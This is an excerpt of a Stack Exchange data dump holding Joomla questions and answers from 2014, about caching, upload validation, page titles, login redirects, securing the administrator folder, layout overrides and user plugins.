  <row Id="2346" PostTypeId="2" ParentId="2323" CreationDate="2014-06-18T19:25:59.897" Score="2" Body="&lt;p&gt;as @Lodder said, global caching is different from the cache plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;global config caching&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;conservative&lt;/strong&gt; - enable component/module caches if they support it. output is cached per page (essentially same as J 1.5)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;progressive&lt;/strong&gt; - same as 'conservative', but use a separate cache for each user/session &lt;b&gt;and&lt;/b&gt; override any module cache config.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;beware: joomla never caches anything for logged-in users at this level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see this explanation and examples &lt;a href=&quot;https://www.inmotionhosting.com/support/edu/joomla-25/caching/global-module-caching&quot; rel=&quot;nofollow&quot;&gt;https://www.inmotionhosting.com/support/edu/joomla-25/caching/global-module-caching&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;system cache plugin&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;enabled plugin&lt;/strong&gt; - activate the page-cache - the final output of the page as sent to the browser is saved and re-used until invalidated (requests are served with minimal joomla activity, only sessions/form-tokens are updated)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;using browser cache&lt;/strong&gt; - add an Expire header for the browser and set a timestamp until when the browser should not even bother asking joomla for an update (no request sent)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Btw, the cache structure actually changed a lot from 1.5 to 2.5/3.x on the inside. Some components and modules still don't come around to employ it (Virtuemart being a major PITA)&lt;/p&gt;&#xA;" OwnerUserId="1544" LastActivityDate="2014-06-18T19:25:59.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostTypeId="1" CreationDate="2014-06-19T06:24:42.113" Score="1" ViewCount="145" Body="&lt;p&gt;I select the document type from the select option then upload the file so how to validate in the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;file_up_form&quot; method=&quot;post&quot; name=&quot;fileupload&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;field_container1 thumbnail span3&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;select_option&quot;&amp;gt;Select option here&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;doc_type&quot; id=&quot;select_option&quot; style=&quot;width: 200px;&quot; multiple&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;Education&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;Certification&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;3&quot;&amp;gt;Client Paperwork&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;4&quot;&amp;gt;Invoice&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field_container thumbnail span4&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;file&quot;&amp;gt;Upload here: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot;&amp;gt;&#xA;        &amp;lt;input class=&quot;btn btn-primary&quot; type=&quot;submit&quot; value=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;check&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the validation code I'm using so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt; &#xA;    function validate() &#xA;    { &#xA;        if(document.fileupload.doc_type.value == &quot;&quot; &amp;amp;&amp;amp; document.fileupload.doc_type.value == null) &#xA;        { &#xA;            alert( &quot;Please provide your document!&quot; ); &#xA;            return false; &#xA;        } &#xA;        if(document.fileupload.file.value == &quot;&quot; &amp;amp;&amp;amp; document.fileupload.file.value == null) &#xA;        {   &#xA;            alert( &quot;Please provide your file!&quot; ); &#xA;            return false; &#xA;        } &#xA;        return true; &#xA;    } &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1543" LastEditorUserId="52" LastEditDate="2014-07-30T20:41:44.017" LastActivityDate="2014-08-01T17:56:28.447" Title="How to add validation in my own module?" Tags="|cms|module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostTypeId="1" AcceptedAnswerId="2361" CreationDate="2014-06-19T06:37:32.720" Score="4" ViewCount="38" Body="&lt;p&gt;The files which are contained in Joomla's Admin Folder (and sub-folder)! Do they get listed in Google Search results ? or do we need to unlist them somehow (manually)? What about the Admin login page ? How to keep it safe, i mean anyone access the admin page directly (&lt;code&gt;/adminstrator/index.php&lt;/code&gt;) how to secure that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S - i have some custom &lt;strong&gt;PHP&lt;/strong&gt; files (&lt;strong&gt;with JOOMLA CMS IMPORTED&lt;/strong&gt;) in the root directory, will they show up in google search? Kindly, enlight me on that as i am about to upload my localhost website, i don't want to mess with &lt;strong&gt;GOOGLE&lt;/strong&gt; :)&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-06-19T12:49:28.450" Title="Google Search's Nature Towards Joomla's Adminstrator Folder (and sub-folders)?" Tags="|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2353" PostTypeId="2" ParentId="2330" CreationDate="2014-06-19T06:38:35.630" Score="0" Body="&lt;p&gt;If you wanna change where the user is going to be redirected after login and logout, you van do this in the login module of joomla. There are 2 fileds for this.&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-06-19T06:38:35.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostTypeId="1" AcceptedAnswerId="2362" CreationDate="2014-06-19T08:17:50.317" Score="2" ViewCount="94" Body="&lt;p&gt;I've got two categories, say &quot;Cat A&quot; and &quot;Cat B&quot; and both of them are associated with a menu item so that a category list can be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to display Cat A in list style, which is the default style, and display Cat B using thumbnails as displayed below, how can I achieve this?&lt;img src=&quot;https://i.stack.imgur.com/ry6HK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="168" LastEditDate="2014-07-31T14:59:44.180" LastActivityDate="2014-07-31T14:59:44.180" Title="Display Categories in Different Layouts" Tags="|component|overrides|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostTypeId="1" CreationDate="2014-06-19T08:45:53.383" Score="8" ViewCount="11517" Body="&lt;p&gt;On each page I get the option of meta description and keywords but don't get &lt;strong&gt;Title&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I change what appears under the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="1546" LastEditorUserId="126" LastEditDate="2015-06-05T11:34:32.113" LastActivityDate="2020-05-15T19:59:55.560" Title="How to change the title tag?" Tags="|joomla-3.x|menu-item|seo|content|menu-parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2356" PostTypeId="2" ParentId="2330" CreationDate="2014-06-19T09:15:38.647" Score="5" Body="&lt;p&gt;I figured it out myself! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to edit this file : &lt;code&gt;/templates/your_template/html/com_users/login/default.php&lt;/code&gt;&#xA;or if your template folder doesn't consist of html folder, edit this one:&#xA;&lt;code&gt;/components/com_users/views/login/tmpl/default.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;user-&amp;gt;get('guest')):&#xA;echo $this-&amp;gt;loadTemplate('login');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;user-&amp;gt;get('guest')):&#xA;header(&quot;Location: URL_WHERE_YOU_WANT_TO_REDIRECT&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2017-03-25T16:19:20.437" LastActivityDate="2017-03-25T16:19:20.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2357" PostTypeId="1" CreationDate="2014-06-19T10:16:08.790" Score="1" ViewCount="177" Body="&lt;pre&gt;&lt;code&gt;JLoader::register('JFile', JPATH_LIBRARIES . '/joomla/filesystem/file.php');&#xA;&#xA;$fields = array('one', 'two', 'three');&#xA;&#xA;foreach ($fields as $field)&#xA;{&#xA;$file     = $input-&amp;gt;files-&amp;gt;get($field);&#xA;$src      = $file['tmp_name'];&#xA;$filename = JFile::makeSafe($file['name']);&#xA;$dest     = JPATH_BASE . &quot;/screen/&quot; . $filename;&#xA;&#xA; if ( strtolower(JFile::getExt($filename) ) == 'jpg') {&#xA; if (JFile::upload($src, $dest))&#xA;{&#xA;    echo &quot;upload successful&quot;;&#xA;}&#xA;}&#xA;else {&#xA;header(&quot;Location: /error.php&quot;); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem i am facing is that when i use the above code :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When i try to upload any non-jpg file, &lt;strong&gt;ELSE Statement&lt;/strong&gt; is executed :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;else {&#xA;header(&quot;Location: /error.php&quot;); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when i use this &lt;strong&gt;IF-STATEMENT&lt;/strong&gt; instead of the above mentioned one. :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFile::upload($src, $dest))&#xA;{&#xA;    header(&quot;Location: /done.php&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then when i try to upload any &lt;strong&gt;non-jpg&lt;/strong&gt; file, it jumps to &lt;strong&gt;IF-STATEMENT&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFile::upload($src, $dest))&#xA;{&#xA;    header(&quot;Location: /done.php&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just when i change &lt;code&gt;echo &quot;upload successful&quot;;&lt;/code&gt; to &lt;code&gt;header(&quot;Location: /done.php&quot;);&lt;/code&gt;&#xA;Why does the event change?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-08-18T13:02:00.443" LastActivityDate="2014-12-16T14:50:21.550" Title="Extension restrictions on Multiple File Upload (JInput)?" Tags="|fix-my-code|jinput|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2358" PostTypeId="2" ParentId="2355" CreationDate="2014-06-19T10:23:32.503" Score="10" Body="&lt;p&gt;When you are creating &quot;static&quot; pages with a single article menu item, the page will get its title from the menu item. &#xA;At this point you have an option to override the page title, in the &lt;strong&gt;Menu Item settings -&gt; Page Display&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8ABB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Actually the same applies, for every page of almost every front-end component, that you can create pages with their menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can write your desired and SEO optimized Page Title for a blog category layout of articles, for which you have only created a short Menu Item title (e.g. Blog), or for the contact form page, or a the photogalery-page ect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for any articles that are not linked directly with a menu item, for example articles that will exist in a category blog layout as the above, and are clicked from the blog page and displayed in a single article view page (note again: with not being attached to menu item), then the Article's Title will be used for page title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this makes each Article Title an important consideration, in terms of SEO and accessibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although this core functionality is adequate and allows much flexibility for SEO, I should mention that there are 3rd party extensions, that allows even more flexibility on handling your page titles and other SEO aspects.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-19T10:23:32.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostTypeId="2" ParentId="2357" CreationDate="2014-06-19T10:25:14.623" Score="1" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;if ( strtolower(JFile::getExt($filename) ) == 'jpg') {&#xA;    if (JFile::upload($src, $dest))&#xA;    {&#xA;        $app-&amp;gt;setHeader('Location', JUri::root() . 'modules/mod_mymodule/done.php');&#xA;        // Success&#xA;    }&#xA;    else &#xA;    {&#xA;        $app-&amp;gt;setHeader('Location', JUri::root() . 'modules/mod_mymodule/error.php'); &#xA;        // File could not be uploaded&#xA;    }   &#xA;}&#xA;else &#xA;{&#xA;    $app-&amp;gt;setHeader('Location', JUri::root() . 'modules/mod_mymodule/error.php'); &#xA;    // Incorrect file type. Please select a jpg&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-19T10:25:14.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2360" PostTypeId="2" ParentId="2341" CreationDate="2014-06-19T10:53:18.853" Score="5" Body="&lt;p&gt;You should upgrade to latest version of Joomla 3.2 or to Joomla 3.3&#xA;As per &lt;a href=&quot;http://alterbrains.com/blog/100-joomla-3-2-passwords-issue-problem-solution&quot;&gt;this link&lt;/a&gt; Joomla 3.2.1+ , doesn't have this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't upgrade then you need to change Joomla code (I won't recommend this), and the details are mentioned in the above link.&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2014-06-19T11:40:30.013" LastActivityDate="2014-06-19T11:40:30.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2361" PostTypeId="2" ParentId="2352" CreationDate="2014-06-19T11:47:51.753" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;While &lt;code&gt;/administrator/index.php&lt;/code&gt; may get indexed (unlikely unless there's a link to it somewhere) it has no content of value.&lt;/li&gt;&#xA;&lt;li&gt;In theory no you don't have to &lt;code&gt;unlist&lt;/code&gt; them&lt;/li&gt;&#xA;&lt;li&gt;See 1.&lt;/li&gt;&#xA;&lt;li&gt;There are lots of ways to secure &lt;code&gt;/administrator&lt;/code&gt; including:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using &lt;code&gt;cPanel&lt;/code&gt; or similar to protect the directory &lt;code&gt;/administrator&lt;/code&gt; with a basic access authentication, or &lt;code&gt;realm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use something like &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection/14087&quot; rel=&quot;nofollow&quot;&gt;AdminTools&lt;/a&gt; from &lt;a href=&quot;https://www.akeebabackup.com&quot; rel=&quot;nofollow&quot;&gt;Akeeba&lt;/a&gt; or any of the other well ranked extensions under &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/site-protection&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Site Security&lt;/code&gt;&lt;/a&gt; on the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;JED&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The output&lt;/strong&gt; of your custom PHP files will get searched by &lt;em&gt;any search engine&lt;/em&gt; that can find a link to them. Note I said &lt;em&gt;output&lt;/em&gt;, unless your server is badly configured the actual &lt;code&gt;php&lt;/code&gt; code will not be searchable by them.&lt;/li&gt;&#xA;&lt;li&gt;Bonus question (for you), have you setup a &lt;a href=&quot;https://www.google.com/webmasters/tools/&quot; rel=&quot;nofollow&quot;&gt;Google Webmaster Tools&lt;/a&gt; and &lt;a href=&quot;https://www.google.com/analytics/&quot; rel=&quot;nofollow&quot;&gt;Analytics&lt;/a&gt; account for your website?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-06-19T11:47:51.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2362" PostTypeId="2" ParentId="2354" CreationDate="2014-06-19T12:45:38.337" Score="3" Body="&lt;p&gt;You can define a &quot;smart&quot; layout override. The new &quot;smart&quot; layout can choose the right layout according the current category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module Layout Overrides&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Module_Layout_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the example, you can create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates&#xA;  /beez&#xA;    /html&#xA;      /mod_latest_news   (this directory matches the module directory name)&#xA;        default.php   (&quot;smart&quot; layout, loads catA or catB)&#xA;        default-catA.php   (catA layout)&#xA;        default-catB.php   (catB layout)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-06-20T12:01:58.307" LastActivityDate="2014-06-20T12:01:58.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2363" PostTypeId="2" ParentId="2352" CreationDate="2014-06-19T12:49:28.450" Score="5" Body="&lt;p&gt;If you implement Joomla default &lt;strong&gt;robots.txt&lt;/strong&gt; (it's always installed by default), it defines directory exclusions for crawlers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# If the Joomla site is installed within a folder such as at&#xA;# e.g. www.example.com/joomla/ the robots.txt file MUST be&#xA;# moved to the site root at e.g. www.example.com/robots.txt&#xA;# AND the joomla folder name MUST be prefixed to the disallowed&#xA;# path, e.g. the Disallow rule for the /administrator/ folder&#xA;# MUST be changed to read Disallow: /joomla/administrator/&#xA;#&#xA;# For more information about the robots.txt standard, see:&#xA;# http://www.robotstxt.org/orig.html&#xA;#&#xA;# For syntax checking, see:&#xA;# http://tool.motoricerca.info/robots-checker.phtml&#xA;&#xA;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://docs.joomla.org/Robots.txt&quot;&gt;http://docs.joomla.org/Robots.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-19T12:49:28.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2364" PostTypeId="2" ParentId="2342" CreationDate="2014-06-19T13:01:55.360" Score="1" Body="&lt;p&gt;The Controller is the final responsible to check for ACL actions. If you override and implement your own logic, you can disable the check or implement a different control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a disabled ACL check in a re-implemented JControllerForm allowAdd method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function allowAdd($data = array())&#xA;{&#xA;    // $user = JFactory::getUser();&#xA;    // return ($user-&amp;gt;authorise('core.create', $this-&amp;gt;option) || count($user-&amp;gt;getAuthorisedCategories($this-&amp;gt;option, 'core.create')));&#xA;&#xA;    // Everyone can add&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-19T13:01:55.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2365" PostTypeId="1" CreationDate="2014-06-19T13:02:27.653" Score="0" ViewCount="50" Body="&lt;p&gt;So well, I have an issue with an artisteer theme, or so I thought. The problem lies within Joomla because using other themes results in the same outcome.&#xA;Please look at &lt;a href=&quot;http://tkms.si&quot; rel=&quot;nofollow&quot;&gt;TKMS.si&lt;/a&gt;, so you'll know what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I inspected the problem and noticed there are problems with the classes added to the posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item column-1&quot;&amp;gt;[...]&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the wrapper div of the second post.&#xA;I removed column-1 from the class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item&quot;&amp;gt;[...]&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now it works flawlessly, but how can I change it on the server so it stays like this? (I was only using Chromiums Inspect Element)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I found the article manager options and there I found Blog /featured layouts and I changed the number of leading elements and links to 5 and others I changed to 0. Still there is no change. What to do?&lt;/p&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="1548" LastEditDate="2014-06-19T13:22:18.557" LastActivityDate="2014-07-17T15:56:17.940" Title="Posts after the first one are shown as columns" Tags="|templates|articles|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2366" PostTypeId="2" ParentId="2287" CreationDate="2014-06-19T13:14:48.917" Score="1" Body="&lt;p&gt;Having established that editing the plugin's own JS file was unworkable (though I'm still unsure of the exact reason), I decided to override the plugin JS in the project's main JS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).load(function(){&#xA;    // some other&#xA;    // project&#xA;    // functions here&#xA;    cookieMessagePositioning();&#xA;});&#xA;&#xA;function cookieMessagePositioning(){&#xA;    var cookieTimer = setTimeout(function() {&#xA;        $('header.cc-cookies').prependTo('#myDiv');&#xA;    }, 20);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB.&lt;/strong&gt; &lt;code&gt;header.cc-cookies&lt;/code&gt; is the relevant class from the markup generated by the Cookie Monster plugin. In the real project code we have some other conditions being checked in the CookieMessagePositioning function but these are irrelevant to the question and don't affect the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The timeout (20ms in this case) is a precaution to make sure the relevant markup has loaded in the DOM before CookieMessagePositioning attempts to reposition anything.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-06-19T13:14:48.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2367" PostTypeId="2" ParentId="2341" CreationDate="2014-06-19T17:05:34.160" Score="0" Body="&lt;p&gt;I was facing a similar problem on my site exactly on &lt;strong&gt;JOOMLA 3.2.0&lt;/strong&gt; An update to &lt;strong&gt;3.2.4&lt;/strong&gt; and enabling two factor authentication solved it automatically! If you're not able to update right now, try enabling two factor authentication and register a new user via front-end and see whether it works!&#xA;and if i am not wrong, this is happening to your site, Have a look at this one : &lt;a href=&quot;https://joomla.stackexchange.com/questions/751/user-registration-error-two-different-values-for-password-in-database&quot;&gt;User registration error : Two different values for password in database?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-06-19T17:05:34.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2369" PostTypeId="1" AcceptedAnswerId="2370" CreationDate="2014-06-19T19:34:57.797" Score="5" ViewCount="192" Body="&lt;p&gt;Is it possible to prevent Joomla from deleting users with a user plugin?  We need the user profile to be disabled, but never deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been tinkering with onUserBeforeDelete, but the docs refer back to v1.5, so I'm not sure that I'm even approaching it the right way to &quot;cancel the event&quot;.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-06-20T15:47:13.847" Title="Prevent User Deletion with Plugin?" Tags="|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2370" PostTypeId="2" ParentId="2369" CreationDate="2014-06-19T19:46:10.417" Score="1" Body="&lt;p&gt;In the plugin, force a redirect back to the page the delete button is on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserBeforeDelete($user)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    //possibly set an error message&#xA;    JError::raiseWarning( 100, 'Warning: Cannot delete user profile' );&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php?option=com_users&amp;amp;view=profile&amp;amp;layout=edit'));&#xA;    jExit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That example can be adjusted, but it should work to just simply stop the user, you could go into some mysql queries to &quot;disable&quot; the user instead, to make it seem like it was disabled rather then just setting an error as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms-examples/blob/master/plugins/user/example/example.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms-examples/blob/master/plugins/user/example/example.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link there was last edited less then a year ago, so I highly doubt that &lt;code&gt;onUserBeforeDelete&lt;/code&gt; had any major changes. &lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-19T19:46:10.417" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2371" PostTypeId="2" ParentId="216" CreationDate="2014-06-19T21:51:56.053" Score="0" Body="&lt;p&gt;You can use module suffix in combination with media queries.  Many template frameworks have this already built-in where you can add a class of &quot;hidden-phone&quot; to not have them display on mobile.  They call them CSS Helper classes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GANTRY: &lt;a href=&quot;http://www.gantry-framework.org/documentation/joomla/advanced/responsive_grid_system.md&quot; rel=&quot;nofollow&quot;&gt;http://www.gantry-framework.org/documentation/joomla/advanced/responsive_grid_system.md&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WARP: &lt;a href=&quot;http://www.yootheme.com/blog/2012/06/12/warp-gets-responsive&quot; rel=&quot;nofollow&quot;&gt;http://www.yootheme.com/blog/2012/06/12/warp-gets-responsive&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-19T21:51:56.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2372" PostTypeId="1" AcceptedAnswerId="3602" CreationDate="2014-06-19T23:58:11.680" Score="1" ViewCount="384" Body="&lt;p&gt;I manage a large site which uses a number of Joomla articles as content snippets, ie. they are embedded into other articles, mainly for the purpose of re-use. This embedding is done via jSeblod CCK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, naturally AceSEF creates URLs for these pages and also creates sitemap entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there ways to either&#xA;- not create these AceSEF entries&#xA;- unpublish them from the sitemap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions are:&#xA;- Joomla 3.3.0&#xA;- jSeblod 3.3.5&#xA;- AceSEF 4.1.0&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-07-14T19:03:59.760" Title="AceSEF exclude urls from creation/ hide in sitemap" Tags="|extensions|sef|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
